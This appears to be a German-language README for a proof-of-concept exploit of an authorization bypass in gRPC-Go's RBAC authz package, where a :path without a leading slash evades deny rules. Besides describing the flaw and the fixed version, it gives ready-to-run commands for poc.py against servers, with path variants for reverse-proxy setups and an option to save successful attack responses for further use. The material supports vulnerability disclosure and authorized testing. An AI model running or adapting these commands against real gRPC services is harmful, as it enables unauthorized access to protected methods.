
gRPC-Go RBAC Autorisierungsrichtlinien-Bypass durch fehlenden `:path` Slash (Auth Bypass)
gRPC-Go RBAC Authorization Policy Bypass via Missing :path Slash (Auth Bypass)
Das authz-Paket in google.golang.org/grpc implementiert eine RBAC-Autorisierung auf SDK-Ebene unter Verwendung von Deny- und Allow-Regeln, die gegen den :path-Pseudo-Header abgeglichen werden.
Der HTTP/2-Server-Transport speichert den rohen :path-Wert vom Client ohne zu validieren, dass er mit / beginnt.
Die Routing-Schicht (handleStream) normalisiert den Pfad vor der Weiterleitung, aber die RBAC-Engine liest den Wert vor der Normalisierung aus dem Kontext mittels grpc.Method(ctx).
Deny-Regeln werden als /Service/Method (mit führendem Schrägstrich) geschrieben. Wenn :path = "Service/Method" (ohne Schrägstrich) gesendet wird, führt dies dazu, dass die Deny-Regel beim Vergleich des ersten Zeichens fehlschlägt. Die standardmäßige Allow-Regel greift, und die geschützte Methode wird ausgeführt.
Jeder gRPC-Server, der authz.NewStatic() oder authz.NewFileWatcher() mit Deny-Regeln verwendet, ist verwundbar. Ein reiner HTTP/2-Client (Python h2, curl --http2 oder ein beliebiger benutzerdefinierter Frame-Writer) reicht aus, um dies auszunutzen – keine Anmeldeinformationen, kein vorheriger Zustand.
Eine Live-Überprüfung gegen grpc-go v1.71.0 ergab den gRPC-Status 0 (OK) für eine als Deny gelistete AdminMethod, wenn der führende Schrägstrich weggelassen wurde, während der identische Aufruf mit dem kanonischen Schrägstrich den Status 7 (PermissionDenied) zurückgab.
Betroffen: google.golang.org/grpc < v1.79.3. Behoben in v1.79.3 (PR #8981).
# Install the Python HTTP/2 dependency:
pip install h2
# Against an existing vulnerable gRPC server:
python3 poc.py --host <HOST> --port <PORT>
python3 poc.py --host <HOST> --port <PORT> --service MyService --method SecretMethod
# When TCP destination and HTTP/2 authority differ:
python3 poc.py --host <VHOST> --connect-host <IP> --port 80 \
--service MyService --method SecretMethod
# Canonical upstream malformed path:
python3 poc.py --host <HOST> --port <PORT> --path-mode no-slash
# Reverse-proxy deployments that preserve a double slash before grpc_pass:
python3 poc.py --host <VHOST> --connect-host <IP> --port 80 \
--path-mode double-slash --service MyService --method SecretMethod
# Literal :path value when you already know the backend path shape:
python3 poc.py --host <VHOST> --connect-host <IP> --path-mode custom \
--attack-path '//MyService/SecretMethod'
# Save a decoded successful attack response for follow-on manual use:
python3 poc.py --host <HOST> --port <PORT> --output-response /tmp/grpc-response.txt
--host steuert den HTTP/2-:authority-Host, es sei denn, --authority ist gesetzt. --connect-host steuert das TCP-Ziel. Dies ist nützlich für Virtual-Host- oder Reverse-Proxy-Setups, bei denen die erreichbare IP von der gerouteten Backend-Autorität abweicht.
Das kanonische Problem in grpc-go ist --path-mode no-slash. double-slash und custom sind generische Helfer für Umgebungen, in denen ein Proxy eine andere fehlgebildete Pfadform an das verwundbare Backend weiterleitet.
h2 (pip install h2)authz-Paket mit Deny-Regeln verwendet| Datei | Beschreibung |
|---|---|
poc.py | Python PoC -- sendet 3 rohe HTTP/2-Aufrufe (Basislinie/Angriff/Kontrolle), um die Umgehung nachzuweisen |
README.md | Schwachstellendetails, Verwendungsbeispiele und Referenzen |
LICENSE | GPLv3-Lizenz |
Dieses Projekt wird unter der GNU GPLv3 veröffentlicht.
Es wird für defensive Sicherheitsforschung, Bildung und autorisierte Tests bereitgestellt. Verwenden Sie diesen Code nicht gegen Systeme oder Dienste ohne ausdrückliche Genehmigung des Eigentümers.
Unbefugte Nutzung kann gegen geltendes Recht verstoßen. Die Autoren erteilen keine Erlaubnis, Systeme Dritter zu testen und sind nicht für Missbrauch verantwortlich.
Die Garantie- und Haftungsbedingungen finden Sie in der LICENSE-Datei.